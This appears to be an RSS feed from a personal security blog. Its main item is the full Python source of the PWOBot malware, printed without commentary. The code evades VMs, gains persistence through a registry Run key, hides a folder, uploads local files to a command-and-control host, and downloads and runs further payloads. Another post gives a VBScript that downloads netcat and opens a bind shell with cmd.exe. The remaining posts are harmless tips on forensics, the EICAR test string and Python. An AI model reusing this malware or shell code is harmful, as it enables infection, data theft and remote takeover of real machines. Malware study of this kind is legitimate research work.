<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>Mike Murr</title>
	<atom:link href="https://mikemurr.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://mikemurr.com/</link>
	<description>Solving Technological Problems With Behavioral Science</description>
	<lastBuildDate>Fri, 13 Apr 2018 06:40:03 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.4.8</generator>
<site xmlns="com-wordpress:feed-additions:1">33372551</site>	<item>
		<title>PWOBot sample</title>
		<link>https://mikemurr.com/pwobot-sample/?pk_campaign=feed&#038;pk_kwd=pwobot-sample</link>
					<comments>https://mikemurr.com/pwobot-sample/?pk_campaign=feed&#038;pk_kwd=pwobot-sample#respond</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Wed, 20 Apr 2016 17:02:38 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">http://www.mikemurr.com/?p=378</guid>

					<description><![CDATA[<p>The post <a href="https://mikemurr.com/pwobot-sample/?pk_campaign=feed&#038;pk_kwd=pwobot-sample">PWOBot sample</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fpwobot-sample%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dpwobot-sample&amp;action_name=PWOBot+sample&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<pre class="brush: python; title: ; notranslate">
from urllib2 import urlopen
from urllib import urlencode 
from glob import glob
from os import path
from os import makedirs
from os import remove
from fileinput import FileInput
from socket import gethostname
from time import sleep
from time import time
from os import popen2
from os import popen
from re import findall
from re import IGNORECASE
from psutil import get_pid_list
from psutil import Process
from sys import exit
from sys import argv
from httplib import HTTPConnection
from os import getpid
from os import kill


def getserver1():
    srv = &quot;games-playbox.com&quot;
    try:
        code1 = urlopen('http://worldvoicetrip.com/games/index.html')
        code2 = code1.read()
        if int(code2) == 1:
            code3 = urlopen('http://worldvoicetrip.com/games/domain.html')
            code4 = code3.read()
            return code4
        else:
            return srv
    except:
            return srv
            pass

foldername = &quot;/winone1&quot;
dir1 = &quot;c:\\dir\\&quot;
dir3 = &quot;c:\\dir&quot;
dir2 = &quot;c:\\dir\\dir2\\&quot;
dir4 = &quot;dir2&quot;


_file = path.abspath(argv&#x5B;0])
fpath = path.dirname(path.realpath(_file)) 
file17 = path.basename(_file)

def SysInfo():
    values  = {}
    cache   = popen2(&quot;SYSTEMINFO&quot;)
    source  = cache&#x5B;1].read()
    sysOpts = &#x5B;&quot;System Model&quot;]

    for opt in sysOpts:
        values&#x5B;opt] = &#x5B;item.strip() for item in findall(&quot;%s:\w*(.*?)\n&quot; % (opt), source, IGNORECASE)]&#x5B;0]
    return values

try:
    sysinfo1 = SysInfo()
    sysinfo2 = str(sysinfo1)
except:
    sysinfo2 = &quot;Test&quot;
    pass
if sysinfo2.find(&quot;VMware&quot;) &lt;&gt; -1:
    print &quot;VMware&quot;
    #exit()


pcount = 0
xx = get_pid_list()
myid = getpid()
for i in xx:
        try:
            pro =  Process(i).name
            if pro.find(file17) &lt;&gt; -1:
                if i != myid:
                    p = i
                pcount = pcount + 1
        except:
            continue
if pcount &gt; 2:
    exit()
try:
    kill(p, 9)
except:
    pass



class ChunkedEncodingWrapper(object):

    def __init__(self, fileobj, blocksize=102400):
        self.fileobj = fileobj
        self.blocksize = blocksize
        self.current_chunk = &quot;&quot;
        self.closed = False

    def read(self, size=None):
        ret = &quot;&quot;
        while size is None or size &gt;= len(self.current_chunk):
            ret += self.current_chunk
            if size is not None:
                size -= len(self.current_chunk)
            if self.closed:
                self.current_chunk = &quot;&quot;
                break
            self._get_chunk()
        else:
            ret += self.current_chunk&#x5B;:size]
            self.current_chunk = self.current_chunk&#x5B;size:]
        return ret

    def _get_chunk(self):
        if not self.closed:
            chunk = self.fileobj.read(self.blocksize)
            if chunk:
                self.current_chunk = &quot;%x&quot; % (len(chunk),) + &quot;\r\n&quot; + chunk + &quot;\r\n&quot;
            else:
                self.current_chunk = &quot;0\r\n\r\n&quot;
                self.closed = True

if not path.exists(dir1):
        makedirs(dir1)
if not path.exists(dir2):
        makedirs(dir2)
try:
    batch = open(dir2+'run.bat','wb')
    bat2='REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Search /t REG_SZ /d &quot;%s%s&quot; /f'%(dir2,file17)
    batch.write(bat2)
    batch.close()
    f1 = open(dir2+'run.vbs','wb')
    data12='Set WshShell = CreateObject(&quot;WScript.Shell&quot; )\n'
    data12+='WshShell.Run chr(34) &amp; &quot;'+dir2+'run.bat&quot; &amp; Chr(34), 0\n'
    data12+='Set WshShell = Nothing'
    f1.write(data12)
    f1.close()
    the_output = popen(dir2+&quot;run.vbs&quot;).read()
except:
    pass

the_output = popen(&quot;attrib +h +s %s&quot;%(dir3)).read()
the_output = popen(&quot;copy %s %s&quot;%(file17,dir2)).read()
cname = gethostname()

def splitFile(inputFile,chunkSize,basename1):
    f = open(inputFile, 'rb')
    data = f.read()
    f.close()
    bytes = len(data)
    noOfChunks= bytes/chunkSize
    if(bytes%chunkSize):
        noOfChunks+=1
    f = open(inputFile+'-info.txt', 'w')
    f.write(basename+','+str(noOfChunks))
    f.close()
    chunkNames = &#x5B;]
    j = 0
    for i in range(0, bytes+1, chunkSize):
        j = j + 1
        fn1 = inputFile+&quot;-%s&quot; % j
        chunkNames.append(fn1)
        f = open(fn1, 'wb') 
        f.write(data&#x5B;i:i+ chunkSize])
        f.close()
     
getserver =  getserver1()
    
def runfile(ext):
    sleep(2)
    data2len = len(ext)
    if data2len &lt;&gt; 0:
            try:
                if dfile.find(file17) == -1:
                    f1 = open(dir2+'run.vbs','wb')
                    data12='Set WshShell = CreateObject(&quot;WScript.Shell&quot; )\n'
                    data12+='WshShell.Run chr(34) &amp; &quot;'+ext+'&quot; &amp; Chr(34), 0\n'
                    data12+='Set WshShell = Nothing'
                    f1.write(data12)
                    f1.close()
                    size1 = path.getsize(ext)
                    if size1 &lt;&gt; 0:
                        the_output = popen(dir2+&quot;run.vbs&quot;).read()
                        remove(dir2+&quot;run.vbs&quot;)
                    else:
                        remove(dfile)
            except:
                pass
def dex(cname):
    try:
        dfiles5 = urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/online.php?sysname=&quot;+cname+&quot;&quot;)
        dfiles6 = dfiles5.read()
        dfiles7 = dfiles6.split(';')
        data7len = len(dfiles6)
        if data7len &lt;&gt; 0:
            for dfile in dfiles7:
                try:
                    f5 = urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/download/%s&quot;%dfile)
                    output1=open(dir2+&quot;%s&quot;%dfile,'wb')
                    output1.write(f5.read())
                    output1.close()
                    dfile = dir2+dfile
                    runfile(dfile)
                except:
                    continue
    except:
        pass
    
def dex1():
    try:
        dfiles12 = urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/getfile.php&quot;)
        dfiles11 = dfiles12.read()
        dfiles13 = dfiles1.split(';')
        files11 = glob(dir2+&quot;*&quot;)
        for dfile14 in dfiles13:
            try:
                if not (dfile14 in files11):
                    f11 = urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/download/%s&quot;%dfile14)    
                    output11=open(dir2+&quot;%s&quot;%dfile14,'wb')
                    output11.write(f11.read())
                    output11.close()
                    dfile = ''
                    dfile = dir2+dfile14
                    runfile(dfile)
            except:
                continue
    except:
        pass
try:
    urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/post.php?filename=&amp;folder=&quot;+cname+&quot;//&quot;)
    dfiles2 = urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/getfile.php&quot;)
    dfiles1 = dfiles2.read()
    datalen3 = len(dfiles1)
    if datalen3 == 0:
        dfiles = ''
        dfiles = glob(dir2+&quot;*.exe&quot;)
        for dfile in dfiles:
            try:
                runfile(dfile)
            except:
                continue
    else:
        dfiles = dfiles1.split(';')
        for dfile in dfiles:
            try:
                f = urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/download/%s&quot;%dfile)
                output=open(dir2+&quot;%s&quot;%dfile,'wb')
                output.write(f.read())
                output.close()
                dfiles = ''
                dfiles = dir2+&quot;%s&quot;%(dfile)
                runfile(dfiles)
            except:
                continue 
except:
    dfiles = ''
    dfiles = glob(dir2+&quot;*.exe&quot;)
    for dfile in dfiles:
        try:
            runfile(dfile)
        except:
            continue

remove(dir2+&quot;run.bat&quot;)  
print &quot;Enting While&quot;
time1 = int(time())
count = 0
while True:
    try:
        time2 = int(time())
        tdif = time2 - time1
        if tdif &gt; 3600:
            dex1()
            time1 = int(time())
        sleep (1)
        count = count + 1
	files = glob(dir1+&quot;*&quot;)
	if count &gt; 120 :
            urlopen(&quot;http://&quot;+ getserver + foldername+ &quot;/post.php?filename=&amp;folder=&quot;+cname+&quot;//&quot;)
            dex(cname)
            count = 0
	for file1 in files: 
		try:
                        if file1.find(dir4) &lt;&gt; -1:
                            continue
                        try:
                                myfile = open(file1, &quot;r+&quot;)
                        except:
                                continue
                        myfile.close()
                        basename = path.basename(file1)
                        size = path.getsize(file1)
                        if size &gt; 105163101 :
                                splitFile(file1,105163101,basename)
                                remove(file1)
                        data = open(file1,&quot;rb&quot;)
                        w = ChunkedEncodingWrapper(data)
                        v = urlencode({'filename': basename})
                        x = urlencode({'folder': cname})
                        headers = {&quot;Transfer-Encoding&quot;: &quot;chunked&quot;}
                        c = HTTPConnection(getserver)
                        c.request(&quot;POST&quot;,   &quot;%s/post.php?%s&amp;%s/&quot;%(foldername,v,x), w, headers)
                        data.close()
                        remove(file1)
                        dex(cname)
                        count = 0
                        time2 = int(time())
                        tdif = time2 - time1
                        if tdif &gt; 3600:
                            dex1()
                            time1 = int(time())
                except:
                    pass
    except:
        pass
</pre>
<img decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fpwobot-sample%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dpwobot-sample&amp;action_name=PWOBot+sample&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/pwobot-sample/?pk_campaign=feed&#038;pk_kwd=pwobot-sample">PWOBot sample</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/pwobot-sample/?pk_campaign=feed&#038;pk_kwd=pwobot-sample/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">378</post-id>	</item>
		<item>
		<title>What Science is All About</title>
		<link>https://mikemurr.com/what-science-is-all-about/?pk_campaign=feed&#038;pk_kwd=what-science-is-all-about</link>
					<comments>https://mikemurr.com/what-science-is-all-about/?pk_campaign=feed&#038;pk_kwd=what-science-is-all-about#respond</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Sun, 31 Jan 2016 22:47:30 +0000</pubDate>
				<category><![CDATA[Science]]></category>
		<guid isPermaLink="false">http://www.mikemurr.com/?p=374</guid>

					<description><![CDATA[<p>This is a good lay description of science: If you cherry-pick scientific truths to serve cultural, economic, religious or political objectives, you undermine the foundations of an informed democracy. Science distinguishes itself from all other branches of human pursuit by its power to probe and understand the behavior of nature on a level that allows [&#8230;]</p>
<p>The post <a href="https://mikemurr.com/what-science-is-all-about/?pk_campaign=feed&#038;pk_kwd=what-science-is-all-about">What Science is All About</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fwhat-science-is-all-about%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dwhat-science-is-all-about&amp;action_name=What+Science+is+All+About&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<p><a href="http://huff.to/1QAUUnA" target="_blank">This</a> is a good lay description of science:</p>
<blockquote><p>If you cherry-pick scientific truths to serve cultural, economic, religious or political objectives, you undermine the foundations of an informed democracy.</p>
<p>Science distinguishes itself from all other branches of human pursuit by its power to probe and understand the behavior of nature on a level that allows us to predict with accuracy, if not control, the outcomes of events in the natural world. Science especially enhances our health, wealth and security, which is greater today for more people on Earth than at any other time in human history.</p>
<p>The scientific method, which underpins these achievements, can be summarized in one sentence, which is all about objectivity:</p>
<p><em>Do whatever it takes to avoid fooling yourself into thinking something is true that is not, or that something is not true that is.</em></p></blockquote>
<p>Given the current trend with pop-psychology books, it&#8217;s nice to see someone write something that is easily accessible, yet accurate.</p>
<img decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fwhat-science-is-all-about%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dwhat-science-is-all-about&amp;action_name=What+Science+is+All+About&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/what-science-is-all-about/?pk_campaign=feed&#038;pk_kwd=what-science-is-all-about">What Science is All About</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/what-science-is-all-about/?pk_campaign=feed&#038;pk_kwd=what-science-is-all-about/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">374</post-id>	</item>
		<item>
		<title>Transfer a disk image via dd and ssh</title>
		<link>https://mikemurr.com/transfer-disk-image-dd-ssh/?pk_campaign=feed&#038;pk_kwd=transfer-disk-image-dd-ssh</link>
					<comments>https://mikemurr.com/transfer-disk-image-dd-ssh/?pk_campaign=feed&#038;pk_kwd=transfer-disk-image-dd-ssh#respond</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Mon, 21 Dec 2015 14:58:39 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[forensics]]></category>
		<guid isPermaLink="false">http://www.mikemurr.com/?p=372</guid>

					<description><![CDATA[<p>To transfer a disk image via an ssh tunnel (think evidence collection across the internet): dd if=&#60;/path/to/disk&#62; &#124; ssh user@host &#8220;dd of=&#60;filename&#62;&#8221; For example: dd if=/dev/sda &#124; ssh user@example.com &#8220;dd of=image.dd&#8221; In practice, you&#8217;ll probably want to use some additional dd options such as bs (block size), count, etc. If doing this for evidentiary purposes, dcfldd, dc3dd, [&#8230;]</p>
<p>The post <a href="https://mikemurr.com/transfer-disk-image-dd-ssh/?pk_campaign=feed&#038;pk_kwd=transfer-disk-image-dd-ssh">Transfer a disk image via dd and ssh</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Ftransfer-disk-image-dd-ssh%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dtransfer-disk-image-dd-ssh&amp;action_name=Transfer+a+disk+image+via+dd+and+ssh&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<p>To transfer a disk image via an ssh tunnel (think evidence collection across the internet):</p>
<p>dd if=&lt;/path/to/disk&gt; | ssh user@host &#8220;dd of=&lt;filename&gt;&#8221;</p>
<p>For example:</p>
<p>dd if=/dev/sda | ssh user@example.com &#8220;dd of=image.dd&#8221;</p>
<p>In practice, you&#8217;ll probably want to use some additional dd options such as bs (block size), count, etc. If doing this for evidentiary purposes, dcfldd, dc3dd, ewfacquire, and others, provide more forensic-friendly options.</p>
<p>To compress data before sending it across the network, add bzip2 (or gzip) with another pipe:</p>
<p>dd if=&lt;/path/to/disk&gt; | bzip2 | ssh user@host &#8220;dd of=&lt;filename&#8221;.</p>
<p>&nbsp;</p>
<img decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Ftransfer-disk-image-dd-ssh%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dtransfer-disk-image-dd-ssh&amp;action_name=Transfer+a+disk+image+via+dd+and+ssh&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/transfer-disk-image-dd-ssh/?pk_campaign=feed&#038;pk_kwd=transfer-disk-image-dd-ssh">Transfer a disk image via dd and ssh</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/transfer-disk-image-dd-ssh/?pk_campaign=feed&#038;pk_kwd=transfer-disk-image-dd-ssh/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">372</post-id>	</item>
		<item>
		<title>Creating an EICAR test file</title>
		<link>https://mikemurr.com/creating-an-eicar-test-file/?pk_campaign=feed&#038;pk_kwd=creating-an-eicar-test-file</link>
					<comments>https://mikemurr.com/creating-an-eicar-test-file/?pk_campaign=feed&#038;pk_kwd=creating-an-eicar-test-file#respond</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Wed, 16 Dec 2015 14:45:39 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://www.mikemurr.com/?p=366</guid>

					<description><![CDATA[<p>Copy and save the following as eicar.com (yes, it&#8217;s an all ASCII .com file): X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* As a sanity check, the file should be 68 bytes long. You can also try running the file, which should print &#8220;EICAR-STANDARD-ANTIVIRUS-TEST-FILE&#8221; to the screen. Alternatively, you can download eicar.com.txt.</p>
<p>The post <a href="https://mikemurr.com/creating-an-eicar-test-file/?pk_campaign=feed&#038;pk_kwd=creating-an-eicar-test-file">Creating an EICAR test file</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fcreating-an-eicar-test-file%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dcreating-an-eicar-test-file&amp;action_name=Creating+an+EICAR+test+file&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<p>Copy and save the following as eicar.com (yes, it&#8217;s an all ASCII .com file):</p>
<p><code>X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</code></p>
<p>As a sanity check, the file should be 68 bytes long. You can also try running the file, which should print &#8220;EICAR-STANDARD-ANTIVIRUS-TEST-FILE&#8221; to the screen.</p>
<p>Alternatively, you can download <a href="http://www.eicar.org/download/eicar.com.txt">eicar.com.txt</a>.</p>
<img loading="lazy" decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fcreating-an-eicar-test-file%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dcreating-an-eicar-test-file&amp;action_name=Creating+an+EICAR+test+file&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/creating-an-eicar-test-file/?pk_campaign=feed&#038;pk_kwd=creating-an-eicar-test-file">Creating an EICAR test file</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/creating-an-eicar-test-file/?pk_campaign=feed&#038;pk_kwd=creating-an-eicar-test-file/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">366</post-id>	</item>
		<item>
		<title>Python Web Server in One Line</title>
		<link>https://mikemurr.com/python-web-server-one-line/?pk_campaign=feed&#038;pk_kwd=python-web-server-one-line</link>
					<comments>https://mikemurr.com/python-web-server-one-line/?pk_campaign=feed&#038;pk_kwd=python-web-server-one-line#comments</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Mon, 23 Jun 2014 13:51:57 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[one liner]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">http://mikemurr.org/mikemurr/?p=334</guid>

					<description><![CDATA[<p>Quick and dirty web server in Python that serves files out of the current directory. For Python 3.X: python -m http.server 8080 For Python 2.X: python -m SimpleHTTPServer</p>
<p>The post <a href="https://mikemurr.com/python-web-server-one-line/?pk_campaign=feed&#038;pk_kwd=python-web-server-one-line">Python Web Server in One Line</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fpython-web-server-one-line%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dpython-web-server-one-line&amp;action_name=Python+Web+Server+in+One+Line&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<p>Quick and dirty web server in Python that serves files out of the current directory.</p>
<p>For Python 3.X:</p>
<pre>python -m http.server 8080</pre>
<p>For Python 2.X:</p>
<pre>python -m SimpleHTTPServer</pre>
<img loading="lazy" decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fpython-web-server-one-line%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dpython-web-server-one-line&amp;action_name=Python+Web+Server+in+One+Line&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/python-web-server-one-line/?pk_campaign=feed&#038;pk_kwd=python-web-server-one-line">Python Web Server in One Line</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/python-web-server-one-line/?pk_campaign=feed&#038;pk_kwd=python-web-server-one-line/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">334</post-id>	</item>
		<item>
		<title>Invoke the Python Debugger in One Line</title>
		<link>https://mikemurr.com/python-debugger-one-line/?pk_campaign=feed&#038;pk_kwd=python-debugger-one-line</link>
					<comments>https://mikemurr.com/python-debugger-one-line/?pk_campaign=feed&#038;pk_kwd=python-debugger-one-line#respond</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Mon, 23 Jun 2014 13:48:43 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[one liner]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">http://mikemurr.org/mikemurr/?p=332</guid>

					<description><![CDATA[<p>Add the following snippet where you want to invoke the Python debugger: import pdb;pdb.set_trace()</p>
<p>The post <a href="https://mikemurr.com/python-debugger-one-line/?pk_campaign=feed&#038;pk_kwd=python-debugger-one-line">Invoke the Python Debugger in One Line</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fpython-debugger-one-line%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dpython-debugger-one-line&amp;action_name=Invoke+the+Python+Debugger+in+One+Line&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<p>Add the following snippet where you want to invoke the Python debugger:</p>
<pre>import pdb;pdb.set_trace()</pre>
<img loading="lazy" decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fpython-debugger-one-line%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dpython-debugger-one-line&amp;action_name=Invoke+the+Python+Debugger+in+One+Line&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/python-debugger-one-line/?pk_campaign=feed&#038;pk_kwd=python-debugger-one-line">Invoke the Python Debugger in One Line</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/python-debugger-one-line/?pk_campaign=feed&#038;pk_kwd=python-debugger-one-line/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">332</post-id>	</item>
		<item>
		<title>VBScript to Download a File (Over HTTP) and Execute It</title>
		<link>https://mikemurr.com/vbscript-download-and-execute-file/?pk_campaign=feed&#038;pk_kwd=vbscript-download-and-execute-file</link>
					<comments>https://mikemurr.com/vbscript-download-and-execute-file/?pk_campaign=feed&#038;pk_kwd=vbscript-download-and-execute-file#comments</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Thu, 07 Nov 2013 00:14:03 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[vbscript]]></category>
		<guid isPermaLink="false">http://mikemurr.org/mikemurr/?p=322</guid>

					<description><![CDATA[<p>dim http_obj dim stream_obj dim shell_obj set http_obj = CreateObject(&#34;Microsoft.XMLHTTP&#34;) set stream_obj = CreateObject(&#34;ADODB.Stream&#34;) set shell_obj = CreateObject(&#34;WScript.Shell&#34;) URL = &#34;http://www.mikemurr.com/example.exe&#34; 'Where to download the file from FILENAME = &#34;nc.exe&#34; 'Name to save the file (on the local system) RUNCMD = &#34;nc.exe -L -p 4444 -e cmd.exe&#34; 'Command to run after downloading http_obj.open &#34;GET&#34;, URL, [&#8230;]</p>
<p>The post <a href="https://mikemurr.com/vbscript-download-and-execute-file/?pk_campaign=feed&#038;pk_kwd=vbscript-download-and-execute-file">VBScript to Download a File (Over HTTP) and Execute It</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fvbscript-download-and-execute-file%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dvbscript-download-and-execute-file&amp;action_name=VBScript+to+Download+a+File+%28Over+HTTP%29+and+Execute+It&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<pre class="brush: vb; title: ; notranslate">
dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject(&quot;Microsoft.XMLHTTP&quot;)
set stream_obj = CreateObject(&quot;ADODB.Stream&quot;)
set shell_obj = CreateObject(&quot;WScript.Shell&quot;)

URL = &quot;http://www.mikemurr.com/example.exe&quot; 'Where to download the file from
FILENAME = &quot;nc.exe&quot; 'Name to save the file (on the local system)
RUNCMD = &quot;nc.exe -L -p 4444 -e cmd.exe&quot; 'Command to run after downloading

http_obj.open &quot;GET&quot;, URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run RUNCMD
</pre>
<img loading="lazy" decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fvbscript-download-and-execute-file%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dvbscript-download-and-execute-file&amp;action_name=VBScript+to+Download+a+File+%28Over+HTTP%29+and+Execute+It&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/vbscript-download-and-execute-file/?pk_campaign=feed&#038;pk_kwd=vbscript-download-and-execute-file">VBScript to Download a File (Over HTTP) and Execute It</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/vbscript-download-and-execute-file/?pk_campaign=feed&#038;pk_kwd=vbscript-download-and-execute-file/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">322</post-id>	</item>
		<item>
		<title>The Problem With Conspiracy Theorists</title>
